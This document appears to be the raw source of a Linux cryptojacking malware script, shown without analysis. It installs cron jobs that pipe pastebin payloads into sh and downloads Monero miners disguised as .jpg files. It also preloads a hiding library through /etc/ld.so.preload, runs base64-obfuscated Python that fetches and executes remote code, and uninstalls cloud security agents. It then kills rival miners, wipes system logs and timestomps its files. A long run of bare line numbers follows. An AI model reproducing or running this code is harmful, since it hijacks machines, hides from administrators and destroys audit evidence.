*/23 * * * * (curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh
- 1
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
pkill -f qW3xT.2
pkill -f /usr/bin/.sshd
pkill -f sustes
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
rm -rf /tmp/.systemd-private-*
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk '{if($3>=90.0) print $2}'| xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
fi
}
function system() {
if [ ! -f "/bin/dns" ]; then
curl -fsSL https://pastebin.com/raw/KqzUfgz0 -o /bin/dns && chmod 755 /bin/dns
if [ ! -f "/bin/dns" ]; then
wget https://pastebin.com/raw/KqzUfgz0 -O /bin/dns && chmod 755 /bin/dns
fi
if [ ! -f "/etc/crontab" ]; then
echo -e "0 1 * * * root dns" >> /etc/crontab
else
sed -i '$d' /etc/crontab && echo -e "0 1 * * * root dns" >> /etc/crontab
fi
fi
}
function top() {
mkdir -p /usr/local/lib/
if [ ! -f "/usr/local/lib/libdns.so" ]; then
curl -fsSL https://monero.minerxmr.ru/1/1535595427x-1404817712.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
if [ ! -f "/usr/local/lib/libdns.so" ]; then
wget https://monero.minerxmr.ru/1/1535595427x-1404817712.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
fi
fi
if [ ! -f "/etc/ld.so.preload" ]; then
echo /usr/local/lib/libdns.so > /etc/ld.so.preload
else
sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libdns.so >> /etc/ld.so.preload
fi
touch -acmr /bin/sh /etc/ld.so.preload
touch -acmr /bin/sh /usr/local/lib/libdns.so
}
function python() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.tmpp
}
function echocron() {
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh\n##" > /etc/cron.d/root
echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh\n##" > /etc/cron.d/apache
echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
curl -fsSL https://pastebin.com/raw/cAfrnxHu -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
if [ ! -f "/etc/cron.hourly/oanacroner" ]; then
wget https://pastebin.com/raw/cAfrnxHu -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
fi
mkdir -p /etc/cron.daily
curl -fsSL https://pastebin.com/raw/cAfrnxHu -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
if [ ! -f "/etc/cron.daily/oanacroner" ]; then
wget https://pastebin.com/raw/cAfrnxHu -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
fi
mkdir -p /etc/cron.monthly
curl -fsSL https://pastebin.com/raw/cAfrnxHu -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
if [ ! -f "/etc/cron.monthly/oanacroner" ]; then
wget https://pastebin.com/raw/cAfrnxHu -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
fi
touch -acmr /bin/sh /var/spool/cron/root
touch -acmr /bin/sh /var/spool/cron/crontabs/root
touch -acmr /bin/sh /etc/cron.d/apache
touch -acmr /bin/sh /etc/cron.d/root
touch -acmr /bin/sh /etc/cron.hourly/oanacroner
touch -acmr /bin/sh /etc/cron.daily/oanacroner
touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}
时光往复 爱你如初
function tables() {
iptables -I INPUT -p TCP --dport 6379 -j REJECT
iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
iptables-save
touch /tmp/.tables
}
function uninstall() {
if ps aux | grep -i '[a]liyun'; then
wget http://update.aegis.aliyun.com/download/uninstall.sh
chmod +x uninstall.sh
./uninstall.sh
wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
chmod +x quartz_uninstall.sh
./quartz_uninstall.sh
rm -f uninstall.sh quartz_uninstall.sh
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*;
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
touch /tmp/.uninstall
}
function downloadrun() {
ps=$(netstat -anp | grep 167.99.8 | wc -l)
if [ ${ps} -eq 0 ];then
if [ ! -f "/tmp/kworkerds" ]; then
curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/1/1538099276x-1404792622.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds
if [ ! -f "/tmp/kworkerds" ]; then
wget https://monero.minerxmr.ru/1/1538099276x-1404792622.jpg -O /tmp/kworkerds && chmod +x /tmp/kworkerds
fi
nohup /tmp/kworkerds >/dev/null 2>&1 &
else
nohup /tmp/kworkerds >/dev/null 2>&1 &
fi
fi
}
function downloadrunxm() {
mkdir -p /var/tmp
chmod 1777 /var/tmp
pm=$(netstat -anp | grep 167.99.8 | wc -l)
if [ ${pm} -eq 0 ];then
rm -rf /var/tmp/config.json*
curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/007/008/1534496022x-1404764583.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json
if [ ! -f "/var/tmp/config.json" ]; then
wget https://monero.minerxmr.ru/007/008/1534496022x-1404764583.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json
fi
ARCH=$(uname -i)
if [ "$ARCH" == "x86_64" ]; then
rm -rf /var/tmp/kworkerds*
curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
if [ ! -f "/var/tmp/kworkerds" ]; then
wget https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
fi
nohup /var/tmp/kworkerds >/dev/null 2>&1 &
elif [ "$ARCH" == "i386" ]; then
rm -rf /var/tmp/kworkerds*
curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/1/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
if [ ! -f "/var/tmp/kworkerds" ]; then
wget https://monero.minerxmr.ru/1/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
fi
nohup /var/tmp/kworkerds >/dev/null 2>&1 &
else
rm -rf /var/tmp/kworkerds*
curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
if [ ! -f "/var/tmp/kworkerds" ]; then
wget https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
fi
nohup /var/tmp/kworkerds >/dev/null 2>&1 &
fi
fi
}
mkdir -p /tmp
chmod 1777 /tmp
update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/SGM25Vs3 )
if [ ${update}x = "update"x ];then
echocron
else
if [ ! -f "/tmp/.uninstall" ]; then
uninstall
fi
if [ ! -f "/tmp/.tables" ]; then
tables
fi
if [ ! -f "/tmp/.tmpu" ]; then
rm -rf /tmp/.tmpp
python
fi
kills
downloadrun
echocron
system
top
sleep 10
port=$(netstat -anp | grep 167.99.8 | wc -l)
if [ ${port} -eq 0 ];then
downloadrunxm
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
curl -sk https://2no.co/11Grb
fi
#
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
- 144
- 145
- 146
- 147
- 148
- 149
- 150
- 151
- 152
- 153
- 154
- 155
- 156
- 157
- 158
- 159
- 160
- 161
- 162
- 163
- 164
- 165
- 166
- 167
- 168
- 169
- 170
- 171
- 172
- 173
- 174
- 175
- 176
- 177
- 178
- 179
- 180
- 181
- 182
- 183
- 184
- 185
- 186
- 187
- 188
- 189
- 190
- 191
- 192
- 193
- 194
- 195
- 196
- 197
- 198
- 199
- 200
- 201
- 202
- 203
- 204
- 205
- 206
- 207
- 208
- 209
- 210
- 211
- 212
- 213
- 214
- 215
- 216
- 217
- 218
- 219
- 220
- 221
- 222
- 223
- 224
- 225
- 226
- 227
- 228
- 229
- 230
- 231
- 232
- 233
- 234
- 235
- 236
- 237
- 238
- 239
- 240
- 241
- 242
- 243
- 244
- 245
- 246
- 247
- 248
- 249
- 250
- 251
- 252
- 253
- 254
- 255
- 256
- 257
- 258
- 259
- 260
- 261
- 262
- 263
- 264
- 265
- 266
- 267
- 268
- 269
- 270
- 271
- 272
- 273
- 274
- 275
- 276
- 277
- 278
- 279
- 280
- 281
- 282
- 283
- 284
- 285
- 286
- 287
- 288
- 289
- 290
- 291
- 292
- 293
- 294
- 295
- 296
- 297
- 298
- 299
- 300
- 301
- 302
- 303
- 304
- 305
- 306